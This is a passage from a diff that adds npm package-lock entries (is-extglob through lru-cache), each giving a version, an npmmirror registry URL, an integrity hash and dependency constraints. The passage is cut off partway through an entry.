}, + "node_modules/is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-file-esm": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-file-esm/-/is-file-esm-1.0.0.tgz", + "integrity": "sha512-rZlaNKb4Mr8WlRu2A9XdeoKgnO5aA53XdPHgCKVyCrQ/rWi89RET1+bq37Ru46obaQXeiX4vmFIm1vks41hoSA==", + "dev": true, + "dependencies": { + "read-pkg-up": "^7.0.1" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmmirror.com/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "dependencies": { + "is-extglob": "^2.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-interactive": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/is-interactive/-/is-interactive-1.0.0.tgz", + "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmmirror.com/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/is-plain-obj": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/is-plain-obj/-/is-plain-obj-3.0.0.tgz", + "integrity": "sha512-gwsOE28k+23GP1B6vFl1oVh/WOzmawBrKwo5Ev6wMKzPkaXaCDIQKzLnvsA42DRlbVTWorkgTKIviAKCWkfUwA==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-plain-object": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/is-plain-object/-/is-plain-object-2.0.4.tgz", + "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", + "dev": true, + "dependencies": { + "isobject": "^3.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmmirror.com/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "dev": true + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/javascript-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/javascript-stringify/-/javascript-stringify-2.1.0.tgz", + "integrity": "sha512-JVAfqNPTvNq3sB/VHQJAFxN/sPgKnsKrCwyRt15zwNCdrMMJDdcEOdubuy+DuJYYdm0ox1J4uzEuYKkN+9yhVg==", + "dev": true + }, + "node_modules/jest-worker": { + "version": "27.5.1", + "resolved": "https://registry.npmmirror.com/jest-worker/-/jest-worker-27.5.1.tgz", + "integrity": "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg==", + "dev": true, + "dependencies": { + "@types/node": "*", + "merge-stream": "^2.0.0", + "supports-color": "^8.0.0" + }, + "engines": { + "node": ">= 10.13.0" + } + }, + "node_modules/jest-worker/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmmirror.com/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/joi": { + "version": "17.13.3", + "resolved": "https://registry.npmmirror.com/joi/-/joi-17.13.3.tgz", + "integrity": "sha512-otDA4ldcIx+ZXsKHWmp0YizCweVRZG96J10b0FevjfuncLO1oX59THoAmHkNubYJ+9gWsYsp5k8v4ib6oDv1fA==", + "dev": true, + "dependencies": { + "@hapi/hoek": "^9.3.0", + "@hapi/topo": "^5.1.0", + "@sideway/address": "^4.1.5", + "@sideway/formula": "^3.0.1", + "@sideway/pinpoint": "^2.0.0" + } + }, + "node_modules/js-message": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/js-message/-/js-message-1.0.7.tgz", + "integrity": "sha512-efJLHhLjIyKRewNS9EGZ4UpI8NguuL6fKkhRxVuMmrGV2xN/0APGdQYwLFky5w9naebSZ0OwAGp0G6/2Cg90rA==", + "dev": true, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmmirror.com/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/jsesc/-/jsesc-3.0.2.tgz", + "integrity": "sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==", + "dev": true, + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-buffer": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/json-buffer/-/json-buffer-3.0.1.tgz", + "integrity": "sha512-4bV5BfR2mqfQTJm+V5tPPdf+ZpuhiIvTuAB5g8kcrXOZpTT/QwwVRWBywX1ozr6lEuPdbHxwaJlm9G6mI2sfSQ==", + "dev": true + }, + "node_modules/json-parse-better-errors": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", + "dev": true + }, + "node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmmirror.com/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==", + "dev": true + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==", + "dev": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmmirror.com/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonfile": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/jsonfile/-/jsonfile-6.1.0.tgz", + "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", + "dev": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jszip": { + "version": "3.10.1", + "resolved": "https://registry.npmmirror.com/jszip/-/jszip-3.10.1.tgz", + "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", + "dependencies": { + "lie": "~3.3.0", + "pako": "~1.0.2", + "readable-stream": "~2.3.6", + "setimmediate": "^1.0.5" + } + }, + "node_modules/jszip/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/jszip/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/jszip/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/keyv": { + "version": "4.5.4", + "resolved": "https://registry.npmmirror.com/keyv/-/keyv-4.5.4.tgz", + "integrity": "sha512-oxVHkHR/EJf2CNXnWxRLW6mg7JyCCUcG0DtEGmL2ctUo1PNTin1PUil+r/+4r5MpVgC/fn1kjsx7mjSujKqIpw==", + "dev": true, + "dependencies": { + "json-buffer": "3.0.1" + } + }, + "node_modules/kind-of": { + "version": "6.0.3", + "resolved": "https://registry.npmmirror.com/kind-of/-/kind-of-6.0.3.tgz", + "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/klona": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/klona/-/klona-2.0.6.tgz", + "integrity": "sha512-dhG34DXATL5hSxJbIexCft8FChFXtmskoZYnoPWjXQuebWYCNkVeV3KkGegCK9CP1oswI/vQibS2GY7Em/sJJA==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/launch-editor": { + "version": "2.9.1", + "resolved": "https://registry.npmmirror.com/launch-editor/-/launch-editor-2.9.1.tgz", + "integrity": "sha512-Gcnl4Bd+hRO9P9icCP/RVVT2o8SFlPXofuCxvA2SaZuH45whSvf5p8x5oih5ftLiVhEI4sp5xDY+R+b3zJBh5w==", + "dev": true, + "dependencies": { + "picocolors": "^1.0.0", + "shell-quote": "^1.8.1" + } + }, + "node_modules/launch-editor-middleware": { + "version": "2.9.1", + "resolved": "https://registry.npmmirror.com/launch-editor-middleware/-/launch-editor-middleware-2.9.1.tgz", + "integrity": "sha512-4wF6AtPtaIENiZdH/a+3yW8Xni7uxzTEDd1z+gH00hUWBCSmQknFohznMd9BWhLk8MXObeB5ir69GbIr9qFW1w==", + "dev": true, + "dependencies": { + "launch-editor": "^2.9.1" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmmirror.com/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lie": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/lie/-/lie-3.3.0.tgz", + "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "dependencies": { + "immediate": "~3.0.5" + } + }, + "node_modules/lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", + "dev": true + }, + "node_modules/loader-runner": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/loader-runner/-/loader-runner-4.3.0.tgz", + "integrity": "sha512-3R/1M+yS3j5ou80Me59j7F9IMs4PXs3VqRrm0TU3AbKPxlmpoY1TNscJV/oGJXo8qCatFGTfDbY6W6ipGOYXfg==", + "dev": true, + "engines": { + "node": ">=6.11.5" + } + }, + "node_modules/loader-utils": { + "version": "1.4.2", + "resolved": "https://registry.npmmirror.com/loader-utils/-/loader-utils-1.4.2.tgz", + "integrity": "sha512-I5d00Pd/jwMD2QCduo657+YM/6L3KZu++pmX9VFncxaxvHcru9jx1lBaFft+r4Mt2jK0Yhp41XlRAihzPxHNCg==", + "dev": true, + "dependencies": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + }, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/loader-utils/node_modules/json5": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", + "dev": true, + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/local-pkg": { + "version": "0.5.0", + "resolved": "https://registry.npmmirror.com/local-pkg/-/local-pkg-0.5.0.tgz", + "integrity": "sha512-ok6z3qlYyCDS4ZEU27HaU6x/xZa9Whf8jD4ptH5UZTQYZVYeb9bnZ3ojVhiJNLiXK1Hfc0GNbLXcmZ5plLDDBg==", + "dev": true, + "dependencies": { + "mlly": "^1.4.2", + "pkg-types": "^1.0.3" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/antfu" + } + }, + "node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" + }, + "node_modules/lodash-es": { + "version": "4.17.21", + "resolved": "https://registry.npmmirror.com/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==" + }, + "node_modules/lodash-unified": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/lodash-unified/-/lodash-unified-1.0.3.tgz", + "integrity": "sha512-WK9qSozxXOD7ZJQlpSqOT+om2ZfcT4yO+03FuzAHD0wF6S0l0090LRPDx3vhTTLZ8cFKpBn+IOcVXK6qOcIlfQ==", + "peerDependencies": { + "@types/lodash-es": "*", + "lodash": "*", + "lodash-es": "*" + } + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true + }, + "node_modules/lodash.defaultsdeep": { + "version": "4.6.1", + "resolved": "https://registry.npmmirror.com/lodash.defaultsdeep/-/lodash.defaultsdeep-4.6.1.tgz", + "integrity": "sha512-3j8wdDzYuWO3lM3Reg03MuQR957t287Rpcxp1njpEa8oDrikb+FwGdW3n+FELh/A6qib6yPit0j/pv9G/yeAqA==", + "dev": true + }, + "node_modules/lodash.kebabcase": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/lodash.kebabcase/-/lodash.kebabcase-4.1.1.tgz", + "integrity": "sha512-N8XRTIMMqqDgSy4VLKPnJ/+hpGZN+PHQiJnSenYqPaVV/NCqEogTnAdZLQiGKhxX+JCs8waWq2t1XHWKOmlY8g==", + "dev": true + }, + "node_modules/lodash.mapvalues": { + "version": "4.6.0", + "resolved": "https://registry.npmmirror.com/lodash.mapvalues/-/lodash.mapvalues-4.6.0.tgz", + "integrity": "sha512-JPFqXFeZQ7BfS00H58kClY7SPVeHertPE0lNuCyZ26/XlN8TvakYD7b9bGyNmXbT/D3BbtPAAmq90gPWqLkxlQ==", + "dev": true + }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/lodash.memoize/-/lodash.memoize-4.1.2.tgz", + "integrity": "sha512-t7j+NzmgnQzTAYXcsHYLgimltOV1MXHtlOWf6GjL9Kj8GK5FInw5JotxvbOs+IvV1/Dzo04/fCGfLVs7aXb4Ag==", + "dev": true + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmmirror.com/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmmirror.com/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true + }, + "node_modules/lodash.uniq": { + "version": "4.5.0", + "resolved": "https://registry.npmmirror.com/lodash.uniq/-/lodash.uniq-4.5.0.tgz", + "integrity": "sha512-xfBaXQd9ryd9dlSDvnvI0lvxfLJlYAZzXomUYzLKtUeOQvOP5piqAWuGtrhWeqaXK9hhoM/iyJc5AV+XfsX3HQ==", + "dev": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-symbols/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/log-update": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/log-update/-/log-update-2.3.0.tgz", + "integrity": "sha512-vlP11XfFGyeNQlmEn9tJ66rEW1coA/79m5z6BCkudjbAGE83uhAcGYrBFwfs3AdLiLzGRusRPAbSPK9xZteCmg==", + "dev": true, + "dependencies": { + "ansi-escapes": "^3.0.0", + "cli-cursor": "^2.0.0", + "wrap-ansi": "^3.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/cli-cursor": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/cli-cursor/-/cli-cursor-2.1.0.tgz", + "integrity": "sha512-8lgKz8LmCRYZZQDpRyT2m5rKJ08TnU4tR9FFFW2rxpxR1FzWi4PQ/NfyODchAatHaUgnSPVcx/R5w6NuTBzFiw==", + "dev": true, + "dependencies": { + "restore-cursor": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/mimic-fn": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/mimic-fn/-/mimic-fn-1.2.0.tgz", + "integrity": "sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/onetime": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/onetime/-/onetime-2.0.1.tgz", + "integrity": "sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==", + "dev": true, + "dependencies": { + "mimic-fn": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/restore-cursor": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/restore-cursor/-/restore-cursor-2.0.0.tgz", + "integrity": "sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==", + "dev": true, + "dependencies": { + "onetime": "^2.0.0", + "signal-exit": "^3.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/wrap-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-3.0.1.tgz", + "integrity": "sha512-iXR3tDXpbnTpzjKSylUJRkLuOrEC7hwEB221cgn6wtF8wpmz28puFXAEfPT5zrjM3wahygB//VuWEr1vTkDcNQ==", + "dev": true, + "dependencies": { + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lru-cache": { + "version": "5.1.1", + "resolved": "https://registry.npmmirror.com/lru-cache/-/lru-cache-5.1.1.tgz", + "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", + "dev": true, + "dependencies": { + "yallist": 